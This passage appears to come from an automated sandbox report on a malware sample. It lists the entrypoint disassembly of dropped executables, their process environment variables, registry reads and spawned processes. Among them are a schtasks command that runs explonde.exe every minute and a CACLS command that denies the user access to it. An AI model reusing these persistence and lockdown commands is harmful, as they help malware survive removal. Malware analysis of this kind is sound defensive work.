ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "foto7447.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "x8060195.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "j0508220.exe" file has an entrypoint instructions - "jmp 0x43e547,jmp 0x4551b6,jmp 0x446860,jmp 0x431a87,jmp 0x41c75f,jmp 0x4a05d0,jmp 0x431ff6,jmp 0x455f99,jmp 0x4a82f9,jmp 0x417d84,jmp 0x43ef51,jmp 0x416a2a,jmp 0x44f200,jmp 0x427aab,jmp 0x450458,jmp 0x418a2c,jmp 0x415ae0,jmp 0x495282,jmp 0x4111ac,jmp 0x4506e9," "exto_1_.exe" file has an entrypoint instructions - "jmp 0x43e547,jmp 0x4551b6,jmp 0x446860,jmp 0x431a87,jmp 0x41c75f,jmp 0x4a05d0,jmp 0x431ff6,jmp 0x455f99,jmp 0x4a82f9,jmp 0x417d84,jmp 0x43ef51,jmp 0x416a2a,jmp 0x44f200,jmp 0x427aab,jmp 0x450458,jmp 0x418a2c,jmp 0x415ae0,jmp 0x495282,jmp 0x4111ac,jmp 0x4506e9," "g5335915.exe" file has an entrypoint instructions - "jmp 0x43e547,jmp 0x4551b6,jmp 0x446860,jmp 0x431a87,jmp 0x41c75f,jmp 0x4a05d0,jmp 0x431ff6,jmp 0x455f99,jmp 0x4a82f9,jmp 0x417d84,jmp 0x43ef51,jmp 0x416a2a,jmp 0x44f200,jmp 0x427aab,jmp 0x450458,jmp 0x418a2c,jmp 0x415ae0,jmp 0x495282,jmp 0x4111ac,jmp 0x4506e9," "z0143525.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "kus.exe" file has an entrypoint instructions - "jmp 0x43e547,jmp 0x4551b6,jmp 0x446860,jmp 0x431a87,jmp 0x41c75f,jmp 0x4a05d0,jmp 0x431ff6,jmp 0x455f99,jmp 0x4a82f9,jmp 0x417d84,jmp 0x43ef51,jmp 0x416a2a,jmp 0x44f200,jmp 0x427aab,jmp 0x450458,jmp 0x418a2c,jmp 0x415ae0,jmp 0x495282,jmp 0x4111ac,jmp 0x4506e9," "z3672075.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "x3683024.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "z9579752.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "x2709271.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "s2433534.exe" file has an entrypoint instructions - "call 0x40b7b1,jmp 0x40b000,cmp ecx, dword ptr [0x438010],jne 0x40b195,ret ,jmp 0x40bafd,jmp 0x40bcd2,push ebp,mov ebp, esp,jmp 0x40b1b1,push dword ptr [ebp + 8],call 0x417b8f,pop ecx,test eax, eax,je 0x40b1c0,push dword ptr [ebp + 8],call 0x413b80,pop ecx,test eax, eax,je 0x40b1a4,pop ebp,ret ,cmp dword ptr [ebp + 8], -1,je 0x40bcd7,jmp 0x407f14,push ebp,mov ebp, esp,push dword ptr [ebp + 8],call 0x40bcd2,pop ecx,pop ebp,ret ,push ebp,mov ebp, esp,test byte ptr [ebp + 8], 1,push esi," "r6085134.exe" file has an entrypoint instructions - "call 0x40b7b1,jmp 0x40b000,cmp ecx, dword ptr [0x438010],jne 0x40b195,ret ,jmp 0x40bafd,jmp 0x40bcd2,push ebp,mov ebp, esp,jmp 0x40b1b1,push dword ptr [ebp + 8],call 0x417b8f,pop ecx,test eax, eax,je 0x40b1c0,push dword ptr [ebp + 8],call 0x413b80,pop ecx,test eax, eax,je 0x40b1a4,pop ebp,ret ,cmp dword ptr [ebp + 8], -1,je 0x40bcd7,jmp 0x407f14,push ebp,mov ebp, esp,push dword ptr [ebp + 8],call 0x40bcd2,pop ecx,pop ebp,ret ,push ebp,mov ebp, esp,test byte ptr [ebp + 8], 1,push esi," "z8332048.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "q2544030.exe" file has an entrypoint instructions - "call 0x40b7b1,jmp 0x40b000,cmp ecx, dword ptr [0x438010],jne 0x40b195,ret ,jmp 0x40bafd,jmp 0x40bcd2,push ebp,mov ebp, esp,jmp 0x40b1b1,push dword ptr [ebp + 8],call 0x417b8f,pop ecx,test eax, eax,je 0x40b1c0,push dword ptr [ebp + 8],call 0x413b80,pop ecx,test eax, eax,je 0x40b1a4,pop ebp,ret ,cmp dword ptr [ebp + 8], -1,je 0x40bcd7,jmp 0x407f14,push ebp,mov ebp, esp,push dword ptr [ebp + 8],call 0x40bcd2,pop ecx,pop ebp,ret ,push ebp,mov ebp, esp,test byte ptr [ebp + 8], 1,push esi," "t9287723.exe" file has an entrypoint instructions - "call 0x4149b8,jmp 0x4143af,jmp 0x41882a,push ebp,mov ebp, esp,sub esp, 0x324,push ebx,push 0x17,call 0x427513,test eax, eax,je 0x41455a,mov ecx, dword ptr [ebp + 8],int 0x29,push 3,call 0x414707,mov dword ptr [esp], 0x2cc,lea eax, [ebp - 0x324],push 0,push eax,call 0x414ff0,add esp, 0xc,mov dword ptr [ebp - 0x274], eax,mov dword ptr [ebp - 0x278], ecx,mov dword ptr [ebp - 0x27c], edx,mov dword ptr [ebp - 0x280], ebx," "legota.exe" file has an entrypoint instructions - "call 0x4149b8,jmp 0x4143af,jmp 0x41882a,push ebp,mov ebp, esp,sub esp, 0x324,push ebx,push 0x17,call 0x427513,test eax, eax,je 0x41455a,mov ecx, dword ptr [ebp + 8],int 0x29,push 3,call 0x414707,mov dword ptr [esp], 0x2cc,lea eax, [ebp - 0x324],push 0,push eax,call 0x414ff0,add esp, 0xc,mov dword ptr [ebp - 0x274], eax,mov dword ptr [ebp - 0x278], ecx,mov dword ptr [ebp - 0x27c], edx,mov dword ptr [ebp - 0x280], ebx," "h7183381.exe" file has an entrypoint instructions - "jmp dword ptr [0x402000],add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al," "i8781473.exe" file has an entrypoint instructions - "call 0x4014e9,jmp 0x4010c5,push ebp,mov ebp, esp,mov eax, dword ptr [ebp + 8],push esi,mov ecx, dword ptr [eax + 0x3c],add ecx, eax,movzx eax, word ptr [ecx + 0x14],lea edx, [ecx + 0x18],add edx, eax,movzx eax, word ptr [ecx + 6],imul esi, eax, 0x28,add esi, edx,cmp edx, esi,je 0x401286,mov ecx, dword ptr [ebp + 0xc],cmp ecx, dword ptr [edx + 0xc],jb 0x40127f,mov eax, dword ptr [edx + 8],add eax, dword ptr [edx + 0xc],cmp ecx, eax,jb 0x40128b,add edx, 0x28,cmp edx, esi,jne 0x401270,xor eax, eax,pop esi,pop ebp,ret ,mov eax, edx,jmp 0x401288,push esi,call 0x401a29,test eax, eax,je 0x4012b9,mov eax, dword ptr fs:[0x18],mov esi, 0x4238e4," "clip64_1_.dll" file has an entrypoint instructions - "push ebp,mov ebp, esp,cmp dword ptr [ebp + 0xc], 1,jne 0x10003e0e,call 0x100041f9,push dword ptr [ebp + 0x10],push dword ptr [ebp + 0xc],push dword ptr [ebp + 8],call 0x10003ccf,add esp, 0xc,pop ebp,ret 0xc,jmp 0x10006e36,push ebp,mov ebp, esp,sub esp, 0xc,lea ecx, [ebp - 0xc],call 0x100035f8,push 0x10014590,lea eax, [ebp - 0xc],push eax,call 0x10004497,int3 ,push ebp,mov ebp, esp,and dword ptr [0x10016a48], 0,sub esp, 0x24,or dword ptr [0x10016004], 1,push 0xa,call 0x1000e0c7,test eax, eax," "k8567853.exe" file has an entrypoint instructions - "call 0x4027f5,jmp 0x4022a3,jmp dword ptr [0x404108],cmp ecx, dword ptr [0x403004],jne 0x4024cb,ret 0,jmp 0x40296d,push 0x14,push 0x402c98,call 0x4028a8,and dword ptr [ebp - 0x24], 0,mov eax, dword ptr [0x403370],mov dword ptr [ebp - 0x1c], eax,cmp eax, -1,jne 0x402503,push dword ptr [ebp + 8],mov esi, dword ptr [0x4040b8],mov ecx, esi,call dword ptr [0x404118],call esi,pop ecx,jmp 0x402557,push 8,call 0x402a7d,pop ecx,and dword ptr [ebp - 4], 0,mov eax, dword ptr [0x403370]," "w7821698.exe" file has an entrypoint instructions - "call 0x4027f5,jmp 0x4022a3,jmp dword ptr [0x404108],cmp ecx, dword ptr [0x403004],jne 0x4024cb,ret 0,jmp 0x40296d,push 0x14,push 0x402c98,call 0x4028a8,and dword ptr [ebp - 0x24], 0,mov eax, dword ptr [0x403370],mov dword ptr [ebp - 0x1c], eax,cmp eax, -1,jne 0x402503,push dword ptr [ebp + 8],mov esi, dword ptr [0x4040b8],mov ecx, esi,call dword ptr [0x404118],call esi,pop ecx,jmp 0x402557,push 8,call 0x402a7d,pop ecx,and dword ptr [ebp - 4], 0,mov eax, dword ptr [0x403370],"43:T1ced,Process "z0143525.exe" (UID: 00000000-00002672) was launched with new environment variables: "__COMPAT_LAYER="ElevateCreateProcess WRPMitigation", PROCESSOR_ARCHITEW6432="AMD64"" Process "z0143525.exe" (UID: 00000000-00002672) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles" Process "AppLaunch.exe" (UID: 00000000-00007876) was launched with new environment variables: "CHROME_RESTART="Microsoft Edge|Microsoft Edge has stopped working. Restart it?|LEFT_TO_RIGHT", EDGE_METRICS_SESSION_ID="21", EDGE_USER_DATA_DIR="%LOCALAPPDATA%\Microsoft\Edge\User Data", CHROME_CRASHPAD_PIPE_NAME="\\.\pipe\LOCAL\crashpad_7548_KOQYJQCASSWJVCZM", FPS_BROWSER_USER_PROFILE_STRING="Default", EDGE_BROWSER_PID="7548", FPS_BROWSER_APP_PROFILE_STRING="Internet Explorer", PSExecutionPolicyPreference="RemoteSigned", EDGE_VARIATIONS_SEED_ETAG=""vh5lltcM1hlAdduYwAcUQr8dkOpj+R8fs70Gh08x9yY="", EDGE_METRICS_CLIENT_ID_HASH="-5887840577531352325"" Process "AppLaunch.exe" (UID: 00000000-00007876) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, PSModulePath, PATHEXT, ProgramFiles, CommonProgramFiles, Path" Process "cmd.exe" (UID: 00000000-00003764) was launched with new environment variables: "PROMPT="$P$G"" Process "explonde.exe" (UID: 00000000-00004724) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles" Process "explonde.exe" (UID: 00000000-00004724) was launched with missing environment variables: "PROMPT, __COMPAT_LAYER, PROCESSOR_ARCHITEW6432" Process "cacls.exe" (UID: 00000000-00003884) was launched with new environment variables: "PROMPT="$P$G", __COMPAT_LAYER="ElevateCreateProcess WRPMitigation", PROCESSOR_ARCHITEW6432="AMD64"" Process "cacls.exe" (UID: 00000000-00003884) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles" Process "legota.exe" (UID: 00000000-00008052) was launched with missing environment variables: "PROMPT" Process "rundll32.exe" (UID: 00000000-00002904) was launched with new environment variables: "FPS_BROWSER_APP_PROFILE_STRING="Internet Explorer", FPS_BROWSER_USER_PROFILE_STRING="Default"" Process "w7821698.exe" (UID: 00000000-00005848) was launched with missing environment variables: "FPS_BROWSER_APP_PROFILE_STRING, FPS_BROWSER_USER_PROFILE_STRING" Process "cacls.exe" (UID: 00000000-00006664) was launched with new environment variables: "PROMPT="$P$G"" Process "schtasks.exe" (UID: 00000000-00007568) was launched with missing environment variables: "PROMPT" Process "foto7447.exe" (UID: 00000000-00005548) was launched with new environment variables: "FPS_BROWSER_APP_PROFILE_STRING="Internet Explorer", FPS_BROWSER_USER_PROFILE_STRING="Default"" Process "cmd.exe" (UID: 00000000-00007304) was launched with new environment variables: "PROMPT="$P$G"" Process "cmd.exe" (UID: 00000000-00007304) was launched with missing environment variables: "FPS_BROWSER_APP_PROFILE_STRING, FPS_BROWSER_USER_PROFILE_STRING" Process "rundll32.exe" (UID: 00000000-00006404) was launched with new environment variables: "FPS_BROWSER_APP_PROFILE_STRING="Internet Explorer", FPS_BROWSER_USER_PROFILE_STRING="Default"" Process "rundll32.exe" (UID: 00000000-00006404) was launched with missing environment variables: "PROMPT" Process "cacls.exe" (UID: 00000000-00008180) was launched with new environment variables: "PROMPT="$P$G"" Process "cacls.exe" (UID: 00000000-00008180) was launched with missing environment variables: "FPS_BROWSER_APP_PROFILE_STRING, FPS_BROWSER_USER_PROFILE_STRING" Process "exto.exe" (UID: 00000000-00006232) was launched with new environment variables: "FPS_BROWSER_APP_PROFILE_STRING="Internet Explorer", FPS_BROWSER_USER_PROFILE_STRING="Default"" Process "exto.exe" (UID: 00000000-00006232) was launched with missing environment variables: "PROMPT" Process "cacls.exe" (UID: 00000000-00000100) was launched with new environment variables: "PROMPT="$P$G"" Process "cacls.exe" (UID: 00000000-00000100) was launched with missing environment variables: "FPS_BROWSER_APP_PROFILE_STRING, FPS_BROWSER_USER_PROFILE_STRING" Process "kus.exe" (UID: 00000000-00005480) was launched with new environment variables: "FPS_BROWSER_APP_PROFILE_STRING="Internet Explorer", FPS_BROWSER_USER_PROFILE_STRING="Default"" Process "kus.exe" (UID: 00000000-00005480) was launched with missing environment variables: "PROMPT" Process "AppLaunch.exe" (UID: 00000000-00006352) was launched with new environment variables: "FPS_BROWSER_APP_PROFILE_STRING="Internet Explorer", FPS_BROWSER_USER_PROFILE_STRING="Default"" Process "AppLaunch.exe" (UID: 00000000-00006352) was launched with missing environment variables: "PROMPT" Process "cacls.exe" (UID: 00000000-00003000) was launched with new environment variables: "PROMPT="$P$G"" Process "cacls.exe" (UID: 00000000-00003000) was launched with missing environment variables: "FPS_BROWSER_APP_PROFILE_STRING, FPS_BROWSER_USER_PROFILE_STRING" Process "legota.exe" (UID: 00000000-00003236) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles" Process "legota.exe" (UID: 00000000-00003236) was launched with missing environment variables: "FPS_BROWSER_APP_PROFILE_STRING, __COMPAT_LAYER, FPS_BROWSER_USER_PROFILE_STRING, PROCESSOR_ARCHITEW6432" Process "cacls.exe" (UID: 00000000-00006196) was launched with new environment variables: "PROMPT="$P$G", __COMPAT_LAYER="ElevateCreateProcess WRPMitigation", PROCESSOR_ARCHITEW6432="AMD64"" Process "cacls.exe" (UID: 00000000-00006196) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles" Process "iexplore.exe" (UID: 00000000-00003980) was launched with new environment variables: "FPS_BROWSER_APP_PROFILE_STRING="Internet Explorer", FPS_BROWSER_USER_PROFILE_STRING="Default", PSExecutionPolicyPreference="RemoteSigned"" Process "iexplore.exe" (UID: 00000000-00003980) was launched with modified environment variables: "PSModulePath, Path, PATHEXT" Process "iexplore.exe" (UID: 00000000-00003980) was launched with missing environment variables: "PROMPT, __COMPAT_LAYER" Process "IEXPLORE.EXE" (UID: 00000000-00003496) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles" Process "IEXPLORE.EXE" (UID: 00000000-00003496) was launched with missing environment variables: "PROCESSOR_ARCHITEW6432" Process "i8781473.exe" (UID: 00000000-00004764) was launched with new environment variables: "__COMPAT_LAYER="ElevateCreateProcess WRPMitigation", PROCESSOR_ARCHITEW6432="AMD64"" Process "i8781473.exe" (UID: 00000000-00004764) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, PSModulePath, CommonProgramFiles, Path, PATHEXT, ProgramFiles" Process "i8781473.exe" (UID: 00000000-00004764) was launched with missing environment variables: "PSExecutionPolicyPreference" Process "ie_to_edge_stub.exe" (UID: 00000000-00004528) was launched with new environment variables: "PSExecutionPolicyPreference="RemoteSigned"" Process "ie_to_edge_stub.exe" (UID: 00000000-00004528) was launched with modified environment variables: "PSModulePath, Path, PATHEXT" Process "ie_to_edge_stub.exe" (UID: 00000000-00004528) was launched with missing environment variables: "__COMPAT_LAYER"44:T718,"121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "z0143525.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "z0143525.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "z0143525.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "z3672075.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "z3672075.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "z3672075.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "z9579752.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "z9579752.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "z9579752.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "z8332048.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "z8332048.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "z8332048.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "q2544030.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "AppLaunch.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "AppLaunch.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US")45:T4d8,Observed system executable string:"1,"fusion","GAC",01,"WinRT","NotApp",13,"System Version=4.0.0.0 Culture=neutral PublicKeyToken=b77a5c561934e089","C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll",0" [Source: AppLaunch.exe.log] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP000.TMP\"" [Source: 00000000-00007276-00000BC1-61246746] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP001.TMP\"" [Source: 00000000-00002672-00000BC1-61822905] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP002.TMP\"" [Source: 00000000-00007228-00000BC1-62414518] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP003.TMP\"" [Source: 00000000-00001620-00000BC1-63110555] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP004.TMP\"" [Source: 00000000-00001752-00000BC1-63732618] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll" [Source: 00000000-00001892-00000C28-824126095]46:T77c,Spawned process "z0143525.exe" (UID: 00000000-00002672) Spawned process "z3672075.exe" (UID: 00000000-00007228) Spawned process "z9579752.exe" (UID: 00000000-00001620) Spawned process "z8332048.exe" (UID: 00000000-00001752) Spawned process "q2544030.exe" (UID: 00000000-00007868) Spawned process "AppLaunch.exe" (UID: 00000000-00001892) Spawned process "WerFault.exe" with commandline "-pss -s 460 -p 7868 -ip 7868" (UID: 00000000-00005676) Spawned process "WerFault.exe" with commandline "-u -p 7868 -s 640" (UID: 00000000-00007912) Spawned process "r6085134.exe" (UID: 00000000-00007960) Spawned process "AppLaunch.exe" (UID: 00000000-00006356) Spawned process "AppLaunch.exe" (UID: 00000000-00006388) Spawned process "AppLaunch.exe" (UID: 00000000-00008040) Spawned process "AppLaunch.exe" (UID: 00000000-00007876) Spawned process "WerFault.exe" with commandline "-pss -s 544 -p 7960 -ip 7960" (UID: 00000000-00002064) Spawned process "WerFault.exe" with commandline "-u -p 7960 -s 684" (UID: 00000000-00002076) Spawned process "s2433534.exe" (UID: 00000000-00005440) Spawned process "AppLaunch.exe" (UID: 00000000-00007224) Spawned process "WerFault.exe" with commandline "-pss -s 576 -p 5440 -ip 5440" (UID: 00000000-00001220) Spawned process "WerFault.exe" with commandline "-u -p 5440 -s 664" (UID: 00000000-00007736) Spawned process "t9287723.exe" (UID: 00000000-00002216) Spawned process "explonde.exe" (UID: 00000000-00006964) Spawned process "u0071771.exe" (UID: 00000000-00002448) Spawned process "schtasks.exe" with commandline "/Create /SC MINUTE /MO 1 /TN explonde.exe /TR "%TEMP%\\fefffe8ce ..." (UID: 00000000-00007280), Spawned process "cmd.exe" with commandline "/k echo Y|CACLS "explonde.exe" /P "%OSUSER%:N"&&CACLS "explonde. ..." (UID: 00000000-00006668) Spawned process "cmd.exe" with commandline "%WINDIR%\\system32\\cmd.exe /S /D /c" echo Y"" (UID: 00000000-00003764)47:T77c,Spawned process "z0143525.exe" (UID: 00000000-00002672) Spawned process "z3672075.exe" (UID: 00000000-00007228) Spawned process "z9579752.exe" (UID: 00000000-00001620) Spawned process "z8332048.exe" (UID: 00000000-00001752) Spawned process "q2544030.exe" (UID: 00000000-00007868) Spawned process "AppLaunch.exe" (UID: 00000000-00001892) Spawned process "WerFault.exe" with commandline "-pss -s 460 -p 7868 -ip 7868" (UID: 00000000-00005676) Spawned process "WerFault.exe" with commandline "-u -p 7868 -s 640" (UID: 00000000-00007912) Spawned process "r6085134.exe" (UID: 00000000-00007960) Spawned process "AppLaunch.exe" (UID: 00000000-00006356) Spawned process "AppLaunch.exe" (UID: 00000000-00006388) Spawned process "AppLaunch.exe" (UID: 00000000-00008040) Spawned process "AppLaunch.exe" (UID: 00000000-00007876) Spawned process "WerFault.exe" with commandline "-pss -s 544 -p 7960 -ip 7960" (UID: 00000000-00002064) Spawned process "WerFault.exe" with commandline "-u -p 7960 -s 684" (UID: 00000000-00002076) Spawned process "s2433534.exe" (UID: 00000000-00005440) Spawned process "AppLaunch.exe" (UID: 00000000-00007224) Spawned process "WerFault.exe" with commandline "-pss -s 576 -p 5440 -ip 5440" (UID: 00000000-00001220) Spawned process "WerFault.exe" with commandline "-u -p 5440 -s 664" (UID: 00000000-00007736) Spawned process "t9287723.exe" (UID: 00000000-00002216) Spawned process "explonde.exe" (UID: 00000000-00006964) Spawned process "u0071771.exe" (UID: 00000000-00002448) Spawned process "schtasks.exe" with commandline "/Create /SC MINUTE /MO 1 /TN explonde.exe /TR "%TEMP%\\fefffe8ce ..." (UID: 00000000-00007280), Spawned process "cmd.exe" with commandline "/k echo Y|CACLS "explonde.exe" /P "%OSUSER%:N"&&CACLS "explonde. ..." (UID: 